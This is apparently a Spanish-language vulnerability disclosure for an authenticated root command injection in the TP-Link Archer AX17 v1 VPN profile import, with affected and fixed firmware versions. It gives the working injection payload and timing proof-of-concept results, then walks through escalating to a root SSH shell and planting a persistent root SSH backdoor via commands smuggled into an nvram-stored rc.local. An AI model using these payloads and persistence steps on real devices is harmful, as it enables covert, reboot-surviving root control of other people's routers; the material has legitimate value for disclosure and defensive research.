
Inyección de comandos del sistema operativo autenticada en la importación del cliente VPN del TP-Link Archer AX17 v1.
Inyección de comandos del sistema operativo autenticada en la importación del cliente VPN del Archer AX17 v1.
Un administrador en la LAN importa un perfil de cliente OpenVPN. La descripción del perfil se almacena como el nombre de archivo /etc/openvpn/<des>.ovpn. Al leer ese perfil se escribe la ruta en /tmp/ovpn_curr_edit. La siguiente escritura de VPN, sin ninguna carga preparada, pasa esa ruta sin comillas a grep y sed, que el servidor web ejecuta como root.
El filtro de descripción rechaza /, ;, | y espacios, y limita la cadena a 64 caracteres. Las comillas invertidas pasan, por lo que la carga útil es S`sleep${IFS}1`. ${IFS} es la forma en que el comando obtiene su espacio.
| Afectado | Archer AX17 v1, firmware 1.1.28 P1 [20250523-rel65103], y compilaciones anteriores a la corrección |
| Corregido | 1.5.0 Build 20260605 |
| Acceso | Sesión de administrador en la LAN. No accesible antes de iniciar sesión. |
| Impacto | Ejecución de comandos como root |
poc.js.await poc(0), luego await poc(1).poc(0) regresa en unos cientos de milisegundos. poc(1) tarda aproximadamente un segundo más. Esa diferencia es sleep 1 ejecutándose como root. El script elimina el perfil que creó.
Probado en 1.1.28. poc(1) fue de 1238 ms, poc(3) de 3504 ms, poc(7) de 7204 ms, frente a un control de 324 ms.
La inyección se ejecuta como root, por lo que puede iniciar dropbear. Dos cosas de esta compilación son importantes:
-L ("Enable SSH session login") es obligatorio. Sin él, dropbear autentica y luego responde a cada solicitud de shell con exec request failed./etc es un ramfs. rc.local, /etc/shadow y /etc/dropbear/authorized_keys se reconstruyen desde el squashfs en cada arranque. Solo las particiones nvram persisten.Eso lo divide en un método temporal y uno permanente.
ssh-temp.js tiene dos llamadas:
await sshTemp(); // dropbear -C -L -p 2222
await runStaged('r'); // sh /tmp/r as root
sshTemp() inicia dropbear en modo de cuenta web. Inicia sesión con la contraseña de administrador del router:
ssh -p 2222 -o HostKeyAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 admin@<router>
Ese shell es uid 1000 (admin), no root, y no puede escribir en /etc. Para escalar, prepara ssh-root.sh en /tmp/r a través de él:
cat > /tmp/r <<'EOF'
... ssh-root.sh with your public key ...
EOF
Luego llama a runStaged('r') desde la consola. La inyección ejecuta el script como uid 0, escribe /etc/dropbear/authorized_keys e inicia dropbear -L -p 2227. (runStaged construye /tmp/<name> a partir de ${PWD%www} porque el directorio de trabajo del backend web es /www.) Conéctate:
ssh -i <key> -p 2227 -o HostKeyAlgorithms=+ssh-rsa \
-o PubkeyAcceptedAlgorithms=+ssh-rsa \
-o KexAlgorithms=+diffie-hellman-group14-sha1 root@<router>
Esto sobrevive hasta el siguiente reinicio.
Ejecuta ssh-persist.sh como root (por ejemplo, a través del shell root temporal). Añade un rc.local a la partición nvram profile. S10boot restaura esa partición en /etc antes de que S95done ejecute /etc/rc.local, por lo que los comandos se ejecutan en cada arranque.
La partición es un XML uci cifrado y orientado a líneas. <dir> crea /etc/<dir>, <file> crea /etc/<dir>/<file>, y el nombre de una etiqueta se escribe literalmente después de option . Por lo tanto, una etiqueta que comienza con ; termina en rc.local como
option ;<command> # 'x'
lo que ejecuta <command> como root. El script conserva el bloque profile.d del proveedor y escribe:
option ;echo <pubkey>|tee /etc/dropbear/authorized_keys # 'x'
option ;/usr/sbin/dropbear -L -p 22 # 'x'
Tras un reinicio, SSH root está en el puerto 22 con la misma clave. Haz una copia de seguridad de la partición primero; el script imprime la ruta de la copia de seguridad y el comando de restauración.
Nota: chpasswd no existe en este firmware. No intentes establecer una contraseña de root con él; usa authorized_keys (como se indicó anteriormente) o passwd.